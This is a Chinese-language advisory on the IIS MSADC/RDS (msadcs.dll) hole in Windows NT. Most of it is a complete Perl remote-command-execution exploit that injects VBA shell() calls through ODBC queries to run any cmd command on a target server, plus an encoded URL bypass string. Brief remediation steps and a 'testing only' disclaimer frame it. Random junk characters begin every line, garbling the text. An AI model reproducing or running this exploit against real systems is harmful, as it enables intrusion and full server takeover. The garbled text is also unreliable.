IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P(;?kg}0 gt/zpiKmV 涉及程序：
a\%xB >LX Microsoft NT server
fPrLM' [p2H= 描述：
MNg^]tpf 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(I@rLvZr{ eQVZO>)P1+ 详细：
iC*F 如果你没有时间读详细内容的话，就删除:
[xT:]Pw} c:\Program Files\Common Files\System\Msadc\msadcs.dll
EZYBeqv 有关的安全问题就没有了。
P) uDLFp] 8o/}} =m$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
o}<4*qlI
!xwG% {_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]XTu+T.aT 关于利用ODBC远程漏洞的描述，请参看:
Z( 9 u< 8HZ s>l http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm YFTjPBV ;r6jx"i 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
t w(J ZDc http://www.microsoft.com/security/bulletins/MS99-025faq.asp [2dn\z28 HFq m6| 这里不再论述。
4<x'oc KlD meCC?Y AB 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
W,K%c= (?H0+zws^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'*Almv { 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
YOrrkbJ( NBF MN% 8kbY+W%n #将下面这段保存为txt文件，然后: "perl -x 文件名"
g/&T[FOr I( S)n+E #!perl
Cn_$l> #
iA,kX\nK # MSADC/RDS 'usage' (aka exploit) script
F|& { Rt #
k2xHH$+{#= # by rain.forest.puppy
7y`}PMn #
!gLkJ) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
dV Q- k # beta test and find errors!
RI D]pek n 3lE, b use Socket; use Getopt::Std;
?X-)J=XG getopts("e:vd:h:XR", \%args);
kvh&d| z`Hy'{1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)~V4+*< X{^}\,cVtG if (!defined $args{h} && !defined $args{R}) {
~Aq5X I% i print qq~
720)Vz T Usage: msadc.pl -h <host> { -d <delay> -X -v }
Pu b0IIs -h <host> = host you want to scan (ip or domain)
7 t?* -d <seconds> = delay between calls, default 1 second
(n1Bh~R^ -X = dump Index Server path table, if available
= 0-
$W5E -v = verbose
xP=/N!,# -e = external dictionary file for step 5
lKkN_ (/j S2>c#BQ Or a -R will resume a command session
kqb0>rYa O8] 'o*<] ~; exit;}
OgcHS? !6G?zipB $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j& UMjI9[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
| e a~'N1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}dxDt qb if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2qi'g:qe $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/c K%n4l.y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
IG?'zppjd6 JxjI]SF02 if (!defined $args{R}){ $ret = &has_msadc;
" v}pdUW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
c V-1?h63 f/kI| Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\*\ R1_+ . "cmd /c ";
5/Q RL\ $in=<STDIN>; chomp $in;
cE iu)2*e $command="cmd /c " . $in ;
?k[p<Uo 3M0+"l(X if (defined $args{R}) {&load; exit;}
ez3Z3t`
Ke-)vPc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Wy]^Ub gW &try_btcustmr;
,&Wn [G< 2 b.O9 ITR print "\nStep 2: Trying to make our own DSN...";
J4=_ w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
81%8{yn!$" d x,=Rd5' print "\nStep 3: Trying known DSNs...";
&ff&Y.q~ &known_dsn;
UwY -7Mmo IkzTJ %> print "\nStep 4: Trying known .mdbs...";
OquAql: &known_mdb;
3K@@D B6 dV?5Q_} if (defined $args{e}){
`Y40w#?uW print "\nStep 5: Trying dictionary of DSN names...";
0)m8)!gj &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
LwuF0\ @mt0kV9 print "Sorry Charley...maybe next time?\n";
\uG`|D n exit;
-xg2q
V\c uE=$p) ##############################################################################
m6
s7F/ xw<OLWW sub sendraw { # ripped and modded from whisker
CnN9!~]" sleep($delay); # it's a DoS on the server! At least on mine...
f-2$
L my ($pstr)=@_;
8_H=^a>2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_)$PKOzbb die("Socket problems\n");
! }M, if(connect(S,pack "SnA4x8",2,80,$target)){
J IO$=+p select(S); $|=1;
#(LfYw.P1V print $pstr; my @in=<S>;
O;[9_ [ select(STDOUT); close(S);
"tS'b+SJ-S return @in;
ZiFooA } else { die("Can't connect...\n"); }}
'j%F]C K #kkY@k$4 ##############################################################################
E xHAY |UA XH7x T@ sub make_header { # make the HTTP request
BsZ{|,oQnZ my $msadc=<<EOT
K:y^OAZfV POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7?"y{R>E User-Agent: ACTIVEDATA
s,*c@1f? Host: $ip
l]2r)!Q7 Content-Length: $clen
4 y}"Hy Connection: Keep-Alive
HjWq[[Nz =wi*Nd7L ADCClientVersion:01.06
t j Vh^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Vy G4(X va )< 4 _ : --!ADM!ROX!YOUR!WORLD!
\n rP$ Content-Type: application/x-varg
Q}A=jew Content-Length: $reqlen
aaWJ*
>rJ UFn8kBk EOT
M~6@20$oW ; $msadc=~s/\n/\r\n/g;
O$ !* %TL return $msadc;}
]r ]k-GZ$ S\NL+V?7h ##############################################################################
e yw'7 d6 _C"r sub make_req { # make the RDS request
h7_)%U<J2 my ($switch, $p1, $p2)=@_;
%1McD{ my $req=""; my $t1, $t2, $query, $dsn;
ts9pM~_~ +UW U|: if ($switch==1){ # this is the btcustmr.mdb query
BRG|Asg( $query="Select * from Customers where City=" . make_shell();
Ek.&Sf$cd' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*j) M] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-dTLunv ET^ |z elsif ($switch==2){ # this is general make table query
\[wCp*;1} $query="create table AZZ (B int, C varchar(10))";
mZ0J!QYk $dsn="$p1";}
8_\W/I!7b cm>E[SHr elsif ($switch==3){ # this is general exploit table query
cJ}QXuuUv $query="select * from AZZ where C=" . make_shell();
oholt/gb+0 $dsn="$p1";}
1@sM1WM X eo#^L} elsif ($switch==4){ # attempt to hork file info from index server
# $'"cfRxc $query="select path from scope()";
j;P+_Hfe/E $dsn="Provider=MSIDXS;";}
s0LA^2U \X}8 q elsif ($switch==5){ # bad query
S9Y[4*// $query="select";
YwT-T,oD $dsn="$p1";}
_EY B
8e FJM;X-UOY $t1= make_unicode($query);
&b C}3D $t2= make_unicode($dsn);
sJr5t? $req = "\x02\x00\x03\x00";
KAA3iA@>+ $req.= "\x08\x00" . pack ("S1", length($t1));
FY;+PY@I{ $req.= "\x00\x00" . $t1 ;
>X Qv?5 $req.= "\x08\x00" . pack ("S1", length($t2));
mU{4g`Iw $req.= "\x00\x00" . $t2 ;
~0tdfK0c $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
yDd[e]zS` return $req;}
8LM #WIm? jPu5nwvUV> ##############################################################################
=LH}YUmd udqge?Tz sub make_shell { # this makes the shell() statement
a Snp/g return "'|shell(\"$command\")|'";}
m24v@?* +GNWF%
zN ##############################################################################
$G?(OWI}l` '?/&n8J\ sub make_unicode { # quick little function to convert to unicode
,=w!vO5s my ($in)=@_; my $out;
I
, FqN} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}B!cv {{ return $out;}
MR9/Y:Nm x6yW:tUG5 ##############################################################################
hFb
fNB3 Z(!pY hLq sub rdo_success { # checks for RDO return success (this is kludge)
)@ PnTpL* my (@in) = @_; my $base=content_start(@in);
0g(6r-2)7 if($in[$base]=~/multipart\/mixed/){
[Z }B" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
u35q,u=I return 0;}
3B18dv,V Q9y*: ##############################################################################
EnCU4CU` t3F?>G#y sub make_dsn { # this makes a DSN for us
CI^|k/ my @drives=("c","d","e","f");
B \<ydN print "\nMaking DSN: ";
a? <?5 foreach $drive (@drives) {
@!H
'+ c print "$drive: ";
;~tsF.= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xUj2 ]Q>R+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N~#D\X^t. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,nE&Me&#J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ckwF|:e 7* return 0 if $2 eq "404"; # not found/doesn't exist
gL]'B!dGd if($2 eq "200") {
W8/(;K`/ foreach $line (@results) {
,Aa|Bd]b
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
dK # h<q1 } return 0;}
Y1r ,2 k %-^ }45](q ##############################################################################
9/;{>RL= cF.mb*$K sub verify_exists {
$N \+,? my ($page)=@_;
M/w{&& my @results=sendraw("GET $page HTTP/1.0\n\n");
g X/NtO % return $results[0];}
EzP#Mnz^ bXl8v ##############################################################################
AVpuMNd@ Ow3a0cF[9 sub try_btcustmr {
,C!n}+27 my @drives=("c","d","e","f");
3X'WR] my @dirs=("winnt","winnt35","winnt351","win","windows");
eY3=|RR |!b9b(_j9 foreach $dir (@dirs) {
?M"HX u print "$dir -> "; # fun status so you can see progress
IQ{?_' foreach $drive (@drives) {
9t }xXk print "$drive: "; # ditto
8eww7k^R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G2@KI- $reqlenlen=length( "$reqlen" );
a/e\vwHLv $clen= 206 + $reqlenlen + $reqlen;
;eR{tH / 4 (5(fd.m+_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|BJqy/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
x(6vh2#v D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#<}kISV0 Y(z }[`2 ##############################################################################
33M}>$Z H !fZL Qc sub odbc_error {
{ y/-:=S)A my (@in)=@_; my $base;
\\iK'|5YG my $base = content_start(@in);
(HSw% e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]PVt o\B= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j];G*-iv{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Kw*~W
i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b A+[{ return $in[$base+4].$in[$base+5].$in[$base+6];}
}bgo )<i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*. dKR print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(,TH~("{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p,s&61] |UZOAGiBg ##############################################################################
|KaR
n;BM Qi|?d 7k0 sub verbose {
vTcZ8|3 e my ($in)=@_;
&?}1AQAYg return if !$verbose;
V.fp/jhj print STDOUT "\n$in\n";}
@ay|]w #fzw WP ##############################################################################
7<4xtK`+b [iXi\Ex sub save {
4g'}h`kh my ($p1, $p2, $p3, $p4)=@_;
TMtI^mkB: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s<#N]mp' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~._ko close OUT;}
D?J# u;h~f f@* >P_t ##############################################################################
u7 ~mn l uf?b%:A sub load {
Wa}"SqYr h my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:5<#X 8>d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
kraVL%72 @p=<IN>; close(IN);
%O Fj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Nc"NObe $target= inet_aton($ip) || die("inet_aton problems");
wJ(8} eI print "Resuming to $ip ...";
"_oLe;?$c $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
G)4SWu0<t if($p[1]==1) {
m/" J
s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
QP<FCmt8 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?GfxBZWJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ip674'bq7R if (rdo_success(@results)){print "Success!\n";}
jB/V{Y#y9@ else { print "failed\n"; verbose(odbc_error(@results));}}
%U:C| elsif ($p[1]==3){
|87W* if(run_query("$p[3]")){
lk N'uZ print "Success!\n";} else { print "failed\n"; }}
0ZT 0 elsif ($p[1]==4){
*CT.G'b QX if(run_query($drvst . "$p[3]")){
W\a!Q]pV print "Success!\n"; } else { print "failed\n"; }}
Ba<#1p7_ exit;}
Y kVRl [ @7]\y7D ##############################################################################
p&m
^IWD _Z0\`kba+ sub create_table {
K~$ 35c3M my ($in)=@_;
c-|kv[\a $reqlen=length( make_req(2,$in,"") ) - 28;
DUQ9AT#3 $reqlenlen=length( "$reqlen" );
|thad!? $clen= 206 + $reqlenlen + $reqlen;
0 ovZ&l my @results=sendraw(make_header() . make_req(2,$in,""));
67fIIXk& return 1 if rdo_success(@results);
6VGo>b; my $temp= odbc_error(@results); verbose($temp);
0+p
5/5 return 1 if $temp=~/Table 'AZZ' already exists/;
q:W q8 return 0;}
Qv\bLR =_uol8v ##############################################################################
?|)rv ^Yqbj L sub known_dsn {
dUZ $wbV%h # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
iW":DOdi_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
" W3W:vl ! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:K: f^o]s "banner", "banners", "ads", "ADCDemo", "ADCTest");
jB` 7T^bU a&8l[xe1 foreach $dSn (@dsns) {
q'by;g*m print ".";
XS3{R next if (!is_access("DSN=$dSn"));
V15q01bE# if(create_table("DSN=$dSn")){
# UjEY9"M print "$dSn successful\n";
. byc;9M% if(run_query("DSN=$dSn")){
[:Xn6)qz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
` v>/
print "Something's borked. Use verbose next time\n";}}} print "\n";}
eC.w?( RB 3 L*+ 8a ##############################################################################
\N6<BS 1x 8(I&i sub is_access {
U>bP}[&S my ($in)=@_;
g&q^.7c} $reqlen=length( make_req(5,$in,"") ) - 28;
8b{U
tT $reqlenlen=length( "$reqlen" );
f8R+7Ykx $clen= 206 + $reqlenlen + $reqlen;
sN;(/O my @results=sendraw(make_header() . make_req(5,$in,""));
9A(n _Rs7? my $temp= odbc_error(@results);
G]at{(^Vz verbose($temp); return 1 if ($temp=~/Microsoft Access/);
EgFl="0 return 0;}
l<s :%%CX " S ?Km ##############################################################################
>J9IRAm}sc ys/ `{:w8p sub run_query {
gZ1N&/9; my ($in)=@_;
%bEGv:88s $reqlen=length( make_req(3,$in,"") ) - 28;
i_|h{JK) $reqlenlen=length( "$reqlen" );
*m iONc $clen= 206 + $reqlenlen + $reqlen;
=z+-l5Gu" my @results=sendraw(make_header() . make_req(3,$in,""));
J N-D/s return 1 if rdo_success(@results);
N&x@_t"" my $temp= odbc_error(@results); verbose($temp);
5
Xk~,%-C return 0;}
#j\*Lc"Ur: $ #TID= ##############################################################################
o.p+j O.]_Ry\OXA sub known_mdb {
3&O% & my @drives=("c","d","e","f","g");
"sdcP8])d my @dirs=("winnt","winnt35","winnt351","win","windows");
<.;@ksCPW{ my $dir, $drive, $mdb;
vM5k4%D my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(H'_KPK GOUY _&}tL # this is sparse, because I don't know of many
=;kRk .qzy my @sysmdbs=( "\\catroot\\icatalog.mdb",
i:MlD5 F "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
l kI8 { "\\system32\\certmdb.mdb",
B8`R(vu; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6-D%)Z( D WsCYo my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
GH [
U!J "\\cfusion\\cfapps\\forums\\forums_.mdb",
U&w *Sb" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
c`rfKr&z "\\cfusion\\cfapps\\security\\realm_.mdb",
n iXHK$@5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6(\q< fx "\\cfusion\\database\\cfexamples.mdb",
1!K !o Y "\\cfusion\\database\\cfsnippets.mdb",
H Jnv'^yn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
' 2;Ny23 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$0S.@wUG "\\cfusion\\brighttiger\\database\\cleam.mdb",
e{c._zr, "\\cfusion\\database\\smpolicy.mdb",
,)0/Ec "\\cfusion\\database\cypress.mdb",
cpP.7ZR
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kxcgOjrmI "\\website\\cgi-win\\dbsample.mdb",
E !:.G+SEl "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#-l!`\@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
`HE>%=]b ); #these are just
jB}_Slh1j foreach $drive (@drives) {
:_W 0Af09 foreach $dir (@dirs){
gvow\9{|C foreach $mdb (@sysmdbs) {
XHU<4l:kl print ".";
R^n*
o if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8#[%?}tK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
AT2NC6{M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8 /:X&
& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
mBYS"[S( } else { print "Something's borked. Use verbose next time\n"; }}}}}
JS<e`#c& @h ,h=X foreach $drive (@drives) {
^(E"3 c foreach $mdb (@mdbs) {
'XC&BWJ print ".";
nPQZI6> if(create_table($drv . $drive . $dir . $mdb)){
r*~n` print "\n" . $drive . $dir . $mdb . " successful\n";
' [7C~r{% if(run_query($drv . $drive . $dir . $mdb)){
l4R<`b\Jt print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eH"qI2A } else { print "Something's borked. Use verbose next time\n"; }}}}
5$ ( b3] }
'f p<FeTg NgDZ4& L ##############################################################################
eLe,=
75Q XkJu sub hork_idx {
F[Guy7?O print "\nAttempting to dump Index Server tables...\n";
eSQzjR* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EhmUX@k], $reqlen=length( make_req(4,"","") ) - 28;
s!nSE
$reqlenlen=length( "$reqlen" );
F$"MFdc[ $clen= 206 + $reqlenlen + $reqlen;
?=pZmvQg my @results=sendraw2(make_header() . make_req(4,"",""));
1{;[q3a if (rdo_success(@results)){
=Qjw.6@ my $max=@results; my $c; my %d;
if gr<QlG for($c=19; $c<$max; $c++){
^Yg|P&e(; $results[$c]=~s/\x00//g;
+=,4@I% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
B.C H9M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`\W cF7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ai<MsQQ:= $d{"$1$2"}="";}
FV vv foreach $c (keys %d){ print "$c\n"; }
'p|Iwtjn> } else {print "Index server doesn't seem to be installed.\n"; }}
oF 1W}DtA khKv5K#) ##############################################################################
cq@_*:~Or 3. K {T sub dsn_dict {
Lk8W&|;0| open(IN, "<$args{e}") || die("Can't open external dictionary\n");
v"G%5pq*\ while(<IN>){
?
bUpK $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-Ib + #pX next if (!is_access("DSN=$dSn"));
auyKLT3C if(create_table("DSN=$dSn")){
?-RoqF print "$dSn successful\n";
1OfSq1G>v$ if(run_query("DSN=$dSn")){
c: `` Y: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
B~ 'VDOG$Z print "Something's borked. Use verbose next time\n";}}}
yP1Y3Tga= print "\n"; close(IN);}
~t.WwxY+ /I`bh ##############################################################################
[EW$7 se ~ )$Dcrrj sub sendraw2 { # ripped and modded from whisker
N c&i) qh sleep($delay); # it's a DoS on the server! At least on mine...
y . ivz my ($pstr)=@_;
&?5{z\;1" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6S& =OK^ die("Socket problems\n");
9wDBC~. if(connect(S,pack "SnA4x8",2,80,$target)){
u]>>B>KOJ7 print "Connected. Getting data";
:<WQ;q open(OUT,">raw.out"); my @in;
67K RM(S select(S); $|=1; print $pstr;
9$ \;voo while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Gn2bZ%l close(OUT); select(STDOUT); close(S); return @in;
a2 klOX{ } else { die("Can't connect...\n"); }}
i?i7T` JtrDZ;^@
##############################################################################
ftI+#0?[! zw%n!wc_\ sub content_start { # this will take in the server headers
#)h
~ .D{ my (@in)=@_; my $c;
HN~v&, for ($c=1;$c<500;$c++) {
9qu24zz$P if($in[$c] =~/^\x0d\x0a/){
/v;)H#; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_:fO)gs|1 else { return $c+1; }}}
bsk=9K2_2t return -1;} # it should never get here actually
+=B}R sP3.s_U^ ##############################################################################
9Sj:nn^/u v ACsppa># sub funky {
,GXfy9x7U my (@in)=@_; my $error=odbc_error(@in);
ZR01<V if($error=~/ADO could not find the specified provider/){
M~{P',l* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
s2kZZP8- exit;}
>fZ/09&3 if($error=~/A Handler is required/){
\w0b"p print "\nServer has custom handler filters (they most likely are patched)\n";
wMPw/a; exit;}
"<jEI /
if($error=~/specified Handler has denied Access/){
mZ0oa-Iy print "\nServer has custom handler filters (they most likely are patched)\n";
% Dr4~7=7a exit;}}
a@_Cx :C:N]6_{SZ ##############################################################################
>$S,>d_k` QSs$ sub has_msadc {
TXh@ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
vX0I^ 8. my $base=content_start(@results);
eE ri v@v return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
g0:4zeL return 0;}
f;tyoN0wHx mTuB* ########################
E][{RTs N>nvt.`P |n6 Q 解决方案：
b-(UsY: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
:kiO 2、移除web 目录: /msadc
